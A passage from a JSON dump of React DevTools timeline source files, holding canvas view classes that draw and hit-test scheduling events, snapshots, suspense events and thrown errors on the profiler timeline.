     if (label == null) {\n        console.warn(`Could not find label for lane ${lane}.`);\n      } else {\n        const labelRect = {\n          origin: {\n            x: visibleArea.origin.x,\n            y: baseY,\n          },\n          size: {\n            width: visibleArea.size.width,\n            height: REACT_LANE_HEIGHT,\n          },\n        };\n\n        drawText(label, context, labelRect, visibleArea, {\n          fillStyle: COLORS.TEXT_DIM_COLOR,\n        });\n      }\n\n      // Draw measures\n      for (let j = 0; j < measuresForLane.length; j++) {\n        const measure = measuresForLane[j];\n        const showHoverHighlight = _hoveredMeasure === measure;\n        const showGroupHighlight =\n          !!_hoveredMeasure && _hoveredMeasure.batchUID === measure.batchUID;\n\n        this._drawSingleReactMeasure(\n          context,\n          visibleArea,\n          measure,\n          measuresForLane[j + 1] || null,\n          baseY,\n          scaleFactor,\n          showGroupHighlight,\n          showHoverHighlight,\n        );\n      }\n\n      // Render bottom border\n      const borderFrame: Rect = {\n        origin: {\n          x: frame.origin.x,\n          y: frame.origin.y + (i + 1) * REACT_LANE_HEIGHT - BORDER_SIZE,\n        },\n        size: {\n          width: frame.size.width,\n          height: BORDER_SIZE,\n        },\n      };\n      if (rectIntersectsRect(borderFrame, visibleArea)) {\n        const borderDrawableRect = intersectionOfRects(\n          borderFrame,\n          visibleArea,\n        );\n        context.fillStyle = COLORS.PRIORITY_BORDER;\n        context.fillRect(\n          borderDrawableRect.origin.x,\n          borderDrawableRect.origin.y,\n          borderDrawableRect.size.width,\n          borderDrawableRect.size.height,\n        );\n      }\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {\n      frame,\n      _intrinsicSize,\n      _lanesToRender,\n      onHover,\n      _profilerData,\n      visibleArea,\n    } = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    // Identify the lane being hovered over\n    const adjustedCanvasMouseY = location.y - frame.origin.y;\n    const renderedLaneIndex = Math.floor(\n      adjustedCanvasMouseY / REACT_LANE_HEIGHT,\n    );\n    if (renderedLaneIndex < 0 || renderedLaneIndex >= _lanesToRender.length) {\n      onHover(null);\n      return;\n    }\n    const lane = _lanesToRender[renderedLaneIndex];\n\n    // Find the measure in `lane` being hovered over.\n    //\n    // Because data ranges may overlap, we want to find the last intersecting item.\n    // This will always be the one on \"top\" (the one the user is hovering over).\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n    const measures = _profilerData.laneToReactMeasureMap.get(lane);\n    if (!measures) {\n      onHover(null);\n      return;\n    }\n\n    for (let index = measures.length - 1; index >= 0; index--) {\n      const measure = measures[index];\n      const {duration, timestamp} = measure;\n\n      if (\n        hoverTimestamp >= timestamp &&\n        hoverTimestamp <= timestamp + duration\n      ) {\n        this.currentCursor = 'context-menu';\n        viewRefs.hoveredView = this;\n        onHover(measure);\n        return;\n      }\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/SchedulingEventsView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SchedulingEvent, TimelineData} from '../types';\nimport type {\n  ClickInteraction,\n  Interaction,\n  MouseMoveInteraction,\n  Rect,\n  Size,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  positioningScaleFactor,\n  timestampToPosition,\n  positionToTimestamp,\n  widthToDuration,\n} from './utils/positioning';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {\n  COLORS,\n  TOP_ROW_PADDING,\n  REACT_EVENT_DIAMETER,\n  BORDER_SIZE,\n} from './constants';\n\nconst EVENT_ROW_HEIGHT_FIXED =\n  TOP_ROW_PADDING + REACT_EVENT_DIAMETER + TOP_ROW_PADDING;\n\nexport class SchedulingEventsView extends View {\n  _profilerData: TimelineData;\n  _intrinsicSize: Size;\n\n  _hoveredEvent: SchedulingEvent | null = null;\n  onHover: ((event: SchedulingEvent | null) => void) | null = null;\n  onClick:\n    | ((event: SchedulingEvent | null, eventIndex: number | null) => void)\n    | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n    this._profilerData = profilerData;\n\n    this._intrinsicSize = {\n      width: this._profilerData.duration,\n      height: EVENT_ROW_HEIGHT_FIXED,\n    };\n  }\n\n  desiredSize(): Size {\n    return this._intrinsicSize;\n  }\n\n  setHoveredEvent(hoveredEvent: SchedulingEvent | null) {\n    if (this._hoveredEvent === hoveredEvent) {\n      return;\n    }\n    this._hoveredEvent = hoveredEvent;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `SchedulingEvent` as a circle in the canvas.\n   */\n  _drawSingleSchedulingEvent(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    event: SchedulingEvent,\n    baseY: number,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ) {\n    const {frame} = this;\n    const {timestamp, type, warning} = event;\n\n    const x = timestampToPosition(timestamp, scaleFactor, frame);\n    const radius = REACT_EVENT_DIAMETER / 2;\n    const eventRect: Rect = {\n      origin: {\n        x: x - radius,\n        y: baseY,\n      },\n      size: {width: REACT_EVENT_DIAMETER, height: REACT_EVENT_DIAMETER},\n    };\n    if (!rectIntersectsRect(eventRect, rect)) {\n      return; // Not in view\n    }\n\n    let fillStyle = null;\n\n    if (warning !== null) {\n      fillStyle = showHoverHighlight\n        ? COLORS.WARNING_BACKGROUND_HOVER\n        : COLORS.WARNING_BACKGROUND;\n    } else {\n      switch (type) {\n        case 'schedule-render':\n        case 'schedule-state-update':\n        case 'schedule-force-update':\n          fillStyle = showHoverHighlight\n            ? COLORS.REACT_SCHEDULE_HOVER\n            : COLORS.REACT_SCHEDULE;\n          break;\n        default:\n          if (__DEV__) {\n            console.warn('Unexpected event type \"%s\"', type);\n          }\n          break;\n      }\n    }\n\n    if (fillStyle !== null) {\n      const y = eventRect.origin.y + radius;\n\n      context.beginPath();\n      context.fillStyle = fillStyle;\n      context.arc(x, y, radius, 0, 2 * Math.PI);\n      context.fill();\n    }\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _profilerData: {schedulingEvents},\n      _hoveredEvent,\n      visibleArea,\n    } = this;\n\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    // Draw events\n    const baseY = frame.origin.y + TOP_ROW_PADDING;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    const highlightedEvents: SchedulingEvent[] = [];\n\n    schedulingEvents.forEach(event => {\n      if (event === _hoveredEvent) {\n        highlightedEvents.push(event);\n        return;\n      }\n      this._drawSingleSchedulingEvent(\n        context,\n        visibleArea,\n        event,\n        baseY,\n        scaleFactor,\n        false,\n      );\n    });\n\n    // Draw the highlighted items on top so they stand out.\n    // This is helpful if there are multiple (overlapping) items close to each other.\n    highlightedEvents.forEach(event => {\n      this._drawSingleSchedulingEvent(\n        context,\n        visibleArea,\n        event,\n        baseY,\n        scaleFactor,\n        true,\n      );\n    });\n\n    // Render bottom border.\n    // Propose border rect, check if intersects with `rect`, draw intersection.\n    const borderFrame: Rect = {\n      origin: {\n        x: frame.origin.x,\n        y: frame.origin.y + EVENT_ROW_HEIGHT_FIXED - BORDER_SIZE,\n      },\n      size: {\n        width: frame.size.width,\n        height: BORDER_SIZE,\n      },\n    };\n    if (rectIntersectsRect(borderFrame, visibleArea)) {\n      const borderDrawableRect = intersectionOfRects(borderFrame, visibleArea);\n      context.fillStyle = COLORS.REACT_WORK_BORDER;\n      context.fillRect(\n        borderDrawableRect.origin.x,\n        borderDrawableRect.origin.y,\n        borderDrawableRect.size.width,\n        borderDrawableRect.size.height,\n      );\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const {\n      _profilerData: {schedulingEvents},\n    } = this;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n    const eventTimestampAllowance = widthToDuration(\n      REACT_EVENT_DIAMETER / 2,\n      scaleFactor,\n    );\n\n    // Because data ranges may overlap, we want to find the last intersecting item.\n    // This will always be the one on \"top\" (the one the user is hovering over).\n    for (let index = schedulingEvents.length - 1; index >= 0; index--) {\n      const event = schedulingEvents[index];\n      const {timestamp} = event;\n\n      if (\n        timestamp - eventTimestampAllowance <= hoverTimestamp &&\n        hoverTimestamp <= timestamp + eventTimestampAllowance\n      ) {\n        this.currentCursor = 'pointer';\n        viewRefs.hoveredView = this;\n        onHover(event);\n        return;\n      }\n    }\n\n    onHover(null);\n  }\n\n  /**\n   * @private\n   */\n  _handleClick(interaction: ClickInteraction) {\n    const {onClick} = this;\n    if (onClick) {\n      const {\n        _profilerData: {schedulingEvents},\n      } = this;\n      const eventIndex = schedulingEvents.findIndex(\n        event => event === this._hoveredEvent,\n      );\n      // onHover is going to take care of all the difficult logic here of\n      // figuring out which event when they're proximity is close.\n      onClick(this._hoveredEvent, eventIndex >= 0 ? eventIndex : null);\n    }\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n      case 'click':\n        this._handleClick(interaction);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/SnapshotsView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Snapshot, TimelineData} from '../types';\nimport type {\n  Interaction,\n  Point,\n  Rect,\n  Size,\n  Surface,\n  ViewRefs,\n} from '../view-base';\n\nimport {positioningScaleFactor, timestampToPosition} from './utils/positioning';\nimport {\n  intersectionOfRects,\n  rectContainsPoint,\n  rectEqualToRect,\n  View,\n} from '../view-base';\nimport {BORDER_SIZE, COLORS, SNAPSHOT_SCRUBBER_SIZE} from './constants';\n\ntype OnHover = (node: Snapshot | null) => void;\n\nexport class SnapshotsView extends View {\n  _hoverLocation: Point | null = null;\n  _intrinsicSize: Size;\n  _profilerData: TimelineData;\n\n  onHover: OnHover | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n\n    this._intrinsicSize = {\n      width: profilerData.duration,\n      height: profilerData.snapshotHeight,\n    };\n    this._profilerData = profilerData;\n  }\n\n  desiredSize(): Size {\n    return this._intrinsicSize;\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const snapshotHeight = this._profilerData.snapshotHeight;\n    const {visibleArea} = this;\n\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    const y = visibleArea.origin.y;\n\n    let x = visibleArea.origin.x;\n\n    // Rather than drawing each snapshot where it occurred,\n    // draw them at fixed intervals and just show the nearest one.\n    while (x < visibleArea.origin.x + visibleArea.size.width) {\n      const snapshot = this._findClosestSnapshot(x);\n      if (snapshot === null) {\n        // This shold never happen.\n        break;\n      }\n\n      const scaledHeight = snapshotHeight;\n      const scaledWidth = (snapshot.width * snapshotHeight) / snapshot.height;\n\n      const imageRect: Rect = {\n        origin: {\n          x,\n          y,\n        },\n        size: {width: scaledWidth, height: scaledHeight},\n      };\n\n      // Lazily create and cache Image objects as we render a snapsho for the first time.\n      if (snapshot.image === null) {\n        const img = (snapshot.image = new Image());\n        img.onload = () => {\n          this._drawSnapshotImage(context, snapshot, imageRect);\n        };\n        img.src = snapshot.imageSource;\n      } else {\n        this._drawSnapshotImage(context, snapshot, imageRect);\n      }\n\n      x += scaledWidth + BORDER_SIZE;\n    }\n\n    const hoverLocation = this._hoverLocation;\n    if (hoverLocation !== null) {\n      const scrubberWidth = SNAPSHOT_SCRUBBER_SIZE + BORDER_SIZE * 2;\n      const scrubberOffset = scrubberWidth / 2;\n\n      context.fillStyle = COLORS.SCRUBBER_BORDER;\n      context.fillRect(\n        hoverLocation.x - scrubberOffset,\n        visibleArea.origin.y,\n        scrubberWidth,\n        visibleArea.size.height,\n      );\n\n      context.fillStyle = COLORS.SCRUBBER_BACKGROUND;\n      context.fillRect(\n        hoverLocation.x - scrubberOffset + BORDER_SIZE,\n        visibleArea.origin.y,\n        SNAPSHOT_SCRUBBER_SIZE,\n        visibleArea.size.height,\n      );\n    }\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n      case 'wheel-control':\n      case 'wheel-meta':\n      case 'wheel-plain':\n      case 'wheel-shift':\n        this._updateHover(interaction.payload.location, viewRefs);\n        break;\n    }\n  }\n\n  _drawSnapshotImage(\n    context: CanvasRenderingContext2D,\n    snapshot: Snapshot,\n    imageRect: Rect,\n  ) {\n    const visibleArea = this.visibleArea;\n\n    // Prevent snapshot from visibly overflowing its container when clipped.\n    // View clips by default, but since this view may draw async (on Image load) we re-clip.\n    const shouldClip = !rectEqualToRect(imageRect, visibleArea);\n    if (shouldClip) {\n      const clippedRect = intersectionOfRects(imageRect, visibleArea);\n      context.save();\n      context.beginPath();\n      context.rect(\n        clippedRect.origin.x,\n        clippedRect.origin.y,\n        clippedRect.size.width,\n        clippedRect.size.height,\n      );\n      context.closePath();\n      context.clip();\n    }\n\n    context.fillStyle = COLORS.REACT_RESIZE_BAR_BORDER;\n    context.fillRect(\n      imageRect.origin.x,\n      imageRect.origin.y,\n      imageRect.size.width,\n      imageRect.size.height,\n    );\n\n    // $FlowFixMe[incompatible-call] Flow doesn't know about the 9 argument variant of drawImage()\n    context.drawImage(\n      snapshot.image,\n\n      // Image coordinates\n      0,\n      0,\n\n      // Native image size\n      snapshot.width,\n      snapshot.height,\n\n      // Canvas coordinates\n      imageRect.origin.x + BORDER_SIZE,\n      imageRect.origin.y + BORDER_SIZE,\n\n      // Scaled image size\n      imageRect.size.width - BORDER_SIZE * 2,\n      imageRect.size.height - BORDER_SIZE * 2,\n    );\n\n    if (shouldClip) {\n      context.restore();\n    }\n  }\n\n  _findClosestSnapshot(x: number): Snapshot | null {\n    const frame = this.frame;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    const snapshots = this._profilerData.snapshots;\n\n    let startIndex = 0;\n    let stopIndex = snapshots.length - 1;\n    while (startIndex <= stopIndex) {\n      const currentIndex = Math.floor((startIndex + stopIndex) / 2);\n      const snapshot = snapshots[currentIndex];\n      const {timestamp} = snapshot;\n\n      const snapshotX = Math.floor(\n        timestampToPosition(timestamp, scaleFactor, frame),\n      );\n\n      if (x < snapshotX) {\n        stopIndex = currentIndex - 1;\n      } else {\n        startIndex = currentIndex + 1;\n      }\n    }\n\n    return snapshots[stopIndex] || null;\n  }\n\n  /**\n   * @private\n   */\n  _updateHover(location: Point, viewRefs: ViewRefs) {\n    const {onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    if (!rectContainsPoint(location, visibleArea)) {\n      if (this._hoverLocation !== null) {\n        this._hoverLocation = null;\n\n        this.setNeedsDisplay();\n      }\n\n      onHover(null);\n      return;\n    }\n\n    const snapshot = this._findClosestSnapshot(location.x);\n    if (snapshot !== null) {\n      this._hoverLocation = location;\n\n      onHover(snapshot);\n    } else {\n      this._hoverLocation = null;\n\n      onHover(null);\n    }\n\n    // Any time the mouse moves within the boundaries of this view, we need to re-render.\n    // This is because we draw a scrubbing bar that shows the location corresponding to the current tooltip.\n    this.setNeedsDisplay();\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/SuspenseEventsView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SuspenseEvent, TimelineData} from '../types';\nimport type {\n  Interaction,\n  IntrinsicSize,\n  MouseMoveInteraction,\n  Rect,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  durationToWidth,\n  positioningScaleFactor,\n  positionToTimestamp,\n  timestampToPosition,\n  widthToDuration,\n} from './utils/positioning';\nimport {drawText} from './utils/text';\nimport {formatDuration} from '../utils/formatting';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {\n  BORDER_SIZE,\n  COLORS,\n  PENDING_SUSPENSE_EVENT_SIZE,\n  SUSPENSE_EVENT_HEIGHT,\n} from './constants';\n\nconst ROW_WITH_BORDER_HEIGHT = SUSPENSE_EVENT_HEIGHT + BORDER_SIZE;\nconst MAX_ROWS_TO_SHOW_INITIALLY = 3;\n\nexport class SuspenseEventsView extends View {\n  _depthToSuspenseEvent: Map<number, SuspenseEvent[]>;\n  _hoveredEvent: SuspenseEvent | null = null;\n  _intrinsicSize: IntrinsicSize;\n  _maxDepth: number = 0;\n  _profilerData: TimelineData;\n\n  onHover: ((event: SuspenseEvent | null) => void) | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n\n    this._profilerData = profilerData;\n\n    this._performPreflightComputations();\n  }\n\n  _performPreflightComputations() {\n    this._depthToSuspenseEvent = new Map();\n\n    const {duration, suspenseEvents} = this._profilerData;\n\n    suspenseEvents.forEach(event => {\n      const depth = event.depth;\n\n      this._maxDepth = Math.max(this._maxDepth, depth);\n\n      if (!this._depthToSuspenseEvent.has(depth)) {\n        this._depthToSuspenseEvent.set(depth, [event]);\n      } else {\n        // $FlowFixMe[incompatible-use] This is unnecessary.\n        this._depthToSuspenseEvent.get(depth).push(event);\n      }\n    });\n\n    this._intrinsicSize = {\n      width: duration,\n      height: (this._maxDepth + 1) * ROW_WITH_BORDER_HEIGHT,\n      hideScrollBarIfLessThanHeight: ROW_WITH_BORDER_HEIGHT,\n      maxInitialHeight: ROW_WITH_BORDER_HEIGHT * MAX_ROWS_TO_SHOW_INITIALLY,\n    };\n  }\n\n  desiredSize(): IntrinsicSize {\n    return this._intrinsicSize;\n  }\n\n  setHoveredEvent(hoveredEvent: SuspenseEvent | null) {\n    if (this._hoveredEvent === hoveredEvent) {\n      return;\n    }\n    this._hoveredEvent = hoveredEvent;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `SuspenseEvent` as a box/span with text inside of it.\n   */\n  _drawSingleSuspenseEvent(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    event: SuspenseEvent,\n    baseY: number,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ) {\n    const {frame} = this;\n    const {\n      componentName,\n      depth,\n      duration,\n      phase,\n      promiseName,\n      resolution,\n      timestamp,\n      warning,\n    } = event;\n\n    baseY += depth * ROW_WITH_BORDER_HEIGHT;\n\n    let fillStyle = ((null: any): string);\n    if (warning !== null) {\n      fillStyle = showHoverHighlight\n        ? COLORS.WARNING_BACKGROUND_HOVER\n        : COLORS.WARNING_BACKGROUND;\n    } else {\n      switch (resolution) {\n        case 'rejected':\n          fillStyle = showHoverHighlight\n            ? COLORS.REACT_SUSPENSE_REJECTED_EVENT_HOVER\n            : COLORS.REACT_SUSPENSE_REJECTED_EVENT;\n          break;\n        case 'resolved':\n          fillStyle = showHoverHighlight\n            ? COLORS.REACT_SUSPENSE_RESOLVED_EVENT_HOVER\n            : COLORS.REACT_SUSPENSE_RESOLVED_EVENT;\n          break;\n        case 'unresolved':\n          fillStyle = showHoverHighlight\n            ? COLORS.REACT_SUSPENSE_UNRESOLVED_EVENT_HOVER\n            : COLORS.REACT_SUSPENSE_UNRESOLVED_EVENT;\n          break;\n      }\n    }\n\n    const xStart = timestampToPosition(timestamp, scaleFactor, frame);\n\n    // Pending suspense events (ones that never resolved) won't have durations.\n    // So instead we draw them as diamonds.\n    if (duration === null) {\n      const size = PENDING_SUSPENSE_EVENT_SIZE;\n      const halfSize = size / 2;\n\n      baseY += (SUSPENSE_EVENT_HEIGHT - PENDING_SUSPENSE_EVENT_SIZE) / 2;\n\n      const y = baseY + halfSize;\n\n      const suspenseRect: Rect = {\n        origin: {\n          x: xStart - halfSize,\n          y: baseY,\n        },\n        size: {width: size, height: size},\n      };\n      if (!rectIntersectsRect(suspenseRect, rect)) {\n        return; // Not in view\n      }\n\n      context.beginPath();\n      context.fillStyle = fillStyle;\n      context.moveTo(xStart, y - halfSize);\n      context.lineTo(xStart + halfSize, y);\n      context.lineTo(xStart, y + halfSize);\n      context.lineTo(xStart - halfSize, y);\n      context.fill();\n    } else {\n      const xStop = timestampToPosition(\n        timestamp + duration,\n        scaleFactor,\n        frame,\n      );\n      const eventRect: Rect = {\n        origin: {\n          x: xStart,\n          y: baseY,\n        },\n        size: {width: xStop - xStart, height: SUSPENSE_EVENT_HEIGHT},\n      };\n      if (!rectIntersectsRect(eventRect, rect)) {\n        return; // Not in view\n      }\n\n      const width = durationToWidth(duration, scaleFactor);\n      if (width < 1) {\n        return; // Too small to render at this zoom level\n      }\n\n      const drawableRect = intersectionOfRects(eventRect, rect);\n      context.beginPath();\n      context.fillStyle = fillStyle;\n      context.fillRect(\n        drawableRect.origin.x,\n        drawableRect.origin.y,\n        drawableRect.size.width,\n        drawableRect.size.height,\n      );\n\n      let label = 'suspended';\n      if (promiseName != null) {\n        label = promiseName;\n      } else if (componentName != null) {\n        label = `${componentName} ${label}`;\n      }\n      if (phase !== null) {\n        label += ` during ${phase}`;\n      }\n      if (resolution !== 'unresolved') {\n        label += ` - ${formatDuration(duration)}`;\n      }\n\n      drawText(label, context, eventRect, drawableRect);\n    }\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _profilerData: {suspenseEvents},\n      _hoveredEvent,\n      visibleArea,\n    } = this;\n\n    context.fillStyle = COLORS.PRIORITY_BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    // Draw events\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    suspenseEvents.forEach(event => {\n      this._drawSingleSuspenseEvent(\n        context,\n        visibleArea,\n        event,\n        frame.origin.y,\n        scaleFactor,\n        event === _hoveredEvent,\n      );\n    });\n\n    // Render bottom borders.\n    for (let i = 0; i <= this._maxDepth; i++) {\n      const borderFrame: Rect = {\n        origin: {\n          x: frame.origin.x,\n          y: frame.origin.y + (i + 1) * ROW_WITH_BORDER_HEIGHT - BORDER_SIZE,\n        },\n        size: {\n          width: frame.size.width,\n          height: BORDER_SIZE,\n        },\n      };\n      if (rectIntersectsRect(borderFrame, visibleArea)) {\n        const borderDrawableRect = intersectionOfRects(\n          borderFrame,\n          visibleArea,\n        );\n        context.fillStyle = COLORS.REACT_WORK_BORDER;\n        context.fillRect(\n          borderDrawableRect.origin.x,\n          borderDrawableRect.origin.y,\n          borderDrawableRect.size.width,\n          borderDrawableRect.size.height,\n        );\n      }\n    }\n  }\n\n  /**\n   * @private\n   */\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const {frame, _intrinsicSize, onHover, visibleArea} = this;\n    if (!onHover) {\n      return;\n    }\n\n    const {location} = interaction.payload;\n    if (!rectContainsPoint(location, visibleArea)) {\n      onHover(null);\n      return;\n    }\n\n    const scaleFactor = positioningScaleFactor(_intrinsicSize.width, frame);\n    const hoverTimestamp = positionToTimestamp(location.x, scaleFactor, frame);\n\n    const adjustedCanvasMouseY = location.y - frame.origin.y;\n    const depth = Math.floor(adjustedCanvasMouseY / ROW_WITH_BORDER_HEIGHT);\n    const suspenseEventsAtDepth = this._depthToSuspenseEvent.get(depth);\n\n    if (suspenseEventsAtDepth) {\n      // Find the event being hovered over.\n      for (let index = suspenseEventsAtDepth.length - 1; index >= 0; index--) {\n        const suspenseEvent = suspenseEventsAtDepth[index];\n        const {duration, timestamp} = suspenseEvent;\n\n        if (duration === null) {\n          const timestampAllowance = widthToDuration(\n            PENDING_SUSPENSE_EVENT_SIZE / 2,\n            scaleFactor,\n          );\n\n          if (\n            timestamp - timestampAllowance <= hoverTimestamp &&\n            hoverTimestamp <= timestamp + timestampAllowance\n          ) {\n            this.currentCursor = 'context-menu';\n\n            viewRefs.hoveredView = this;\n\n            onHover(suspenseEvent);\n            return;\n          }\n        } else if (\n          hoverTimestamp >= timestamp &&\n          hoverTimestamp <= timestamp + duration\n        ) {\n          this.currentCursor = 'context-menu';\n\n          viewRefs.hoveredView = this;\n\n          onHover(suspenseEvent);\n          return;\n        }\n      }\n    }\n\n    onHover(null);\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/ThrownErrorsView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ThrownError, TimelineData} from '../types';\nimport type {\n  Interaction,\n  MouseMoveInteraction,\n  Rect,\n  Size,\n  ViewRefs,\n} from '../view-base';\n\nimport {\n  positioningScaleFactor,\n  timestampToPosition,\n  positionToTimestamp,\n  widthToDuration,\n} from './utils/positioning';\nimport {\n  View,\n  Surface,\n  rectContainsPoint,\n  rectIntersectsRect,\n  intersectionOfRects,\n} from '../view-base';\nimport {\n  COLORS,\n  TOP_ROW_PADDING,\n  REACT_EVENT_DIAMETER,\n  BORDER_SIZE,\n} from './constants';\n\nconst EVENT_ROW_HEIGHT_FIXED =\n  TOP_ROW_PADDING + REACT_EVENT_DIAMETER + TOP_ROW_PADDING;\n\nexport class ThrownErrorsView extends View {\n  _profilerData: TimelineData;\n  _intrinsicSize: Size;\n  _hoveredEvent: ThrownError | null = null;\n  onHover: ((event: ThrownError | null) => void) | null = null;\n\n  constructor(surface: Surface, frame: Rect, profilerData: TimelineData) {\n    super(surface, frame);\n    this._profilerData = profilerData;\n\n    this._intrinsicSize = {\n      width: this._profilerData.duration,\n      height: EVENT_ROW_HEIGHT_FIXED,\n    };\n  }\n\n  desiredSize(): Size {\n    return this._intrinsicSize;\n  }\n\n  setHoveredEvent(hoveredEvent: ThrownError | null) {\n    if (this._hoveredEvent === hoveredEvent) {\n      return;\n    }\n    this._hoveredEvent = hoveredEvent;\n    this.setNeedsDisplay();\n  }\n\n  /**\n   * Draw a single `ThrownError` as a circle in the canvas.\n   */\n  _drawSingleThrownError(\n    context: CanvasRenderingContext2D,\n    rect: Rect,\n    thrownError: ThrownError,\n    baseY: number,\n    scaleFactor: number,\n    showHoverHighlight: boolean,\n  ) {\n    const {frame} = this;\n    const {timestamp} = thrownError;\n\n    const x = timestampToPosition(timestamp, scaleFactor, frame);\n    const radius = REACT_EVENT_DIAMETER / 2;\n    const eventRect: Rect = {\n      origin: {\n        x: x - radius,\n        y: baseY,\n      },\n      size: {width: REACT_EVENT_DIAMETER, height: REACT_EVENT_DIAMETER},\n    };\n    if (!rectIntersectsRect(eventRect, rect)) {\n      return; // Not in view\n    }\n\n    const fillStyle = showHoverHighlight\n      ? COLORS.REACT_THROWN_ERROR_HOVER\n      : COLORS.REACT_THROWN_ERROR;\n\n    const y = eventRect.origin.y + radius;\n\n    context.beginPath();\n    context.fillStyle = fillStyle;\n    context.arc(x, y, radius, 0, 2 * Math.PI);\n    context.fill();\n  }\n\n  draw(context: CanvasRenderingContext2D) {\n    const {\n      frame,\n      _profilerData: {thrownErrors},\n      _hoveredEvent,\n      visibleArea,\n    } = this;\n\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n\n    // Draw events\n    const baseY = frame.origin.y + TOP_ROW_PADDING;\n    const scaleFactor = positioningScaleFactor(\n      this._intrinsicSize.width,\n      frame,\n    );\n\n    const highlightedEvents: ThrownError[] = [];\n\n    thrownErrors.forEach(thrownError => {\n      if (thrownError === _hoveredEvent) {\n        highlightedEvents.push(thrownError);\n        return;\n      }\n      this._drawSingleThrownError(\n        context,\n        visibleArea,\n        thrownError,\n        baseY,\n        scaleFactor,\n        false,\n      );\n    });\n\n    // Draw the highlighted items on top so they stand out.\n    // This is helpful if there are multiple (overlapping) items close to each other.\n    highlightedEvents.forEach(thrownError => {\n      this._drawSingleThrownError(\n        context,\n        visibleArea,\n        thrownError,\n        baseY,\n        scaleFactor,\n        true,\n      );\n    });\n\n    // Render bottom borders.\n    // Propose border rect, check if intersects with `rect`, draw intersection.\n    const borderFrame: Rect = {\n      origin: {\n        x: frame.origin.x,\n        y: frame.origin.y + 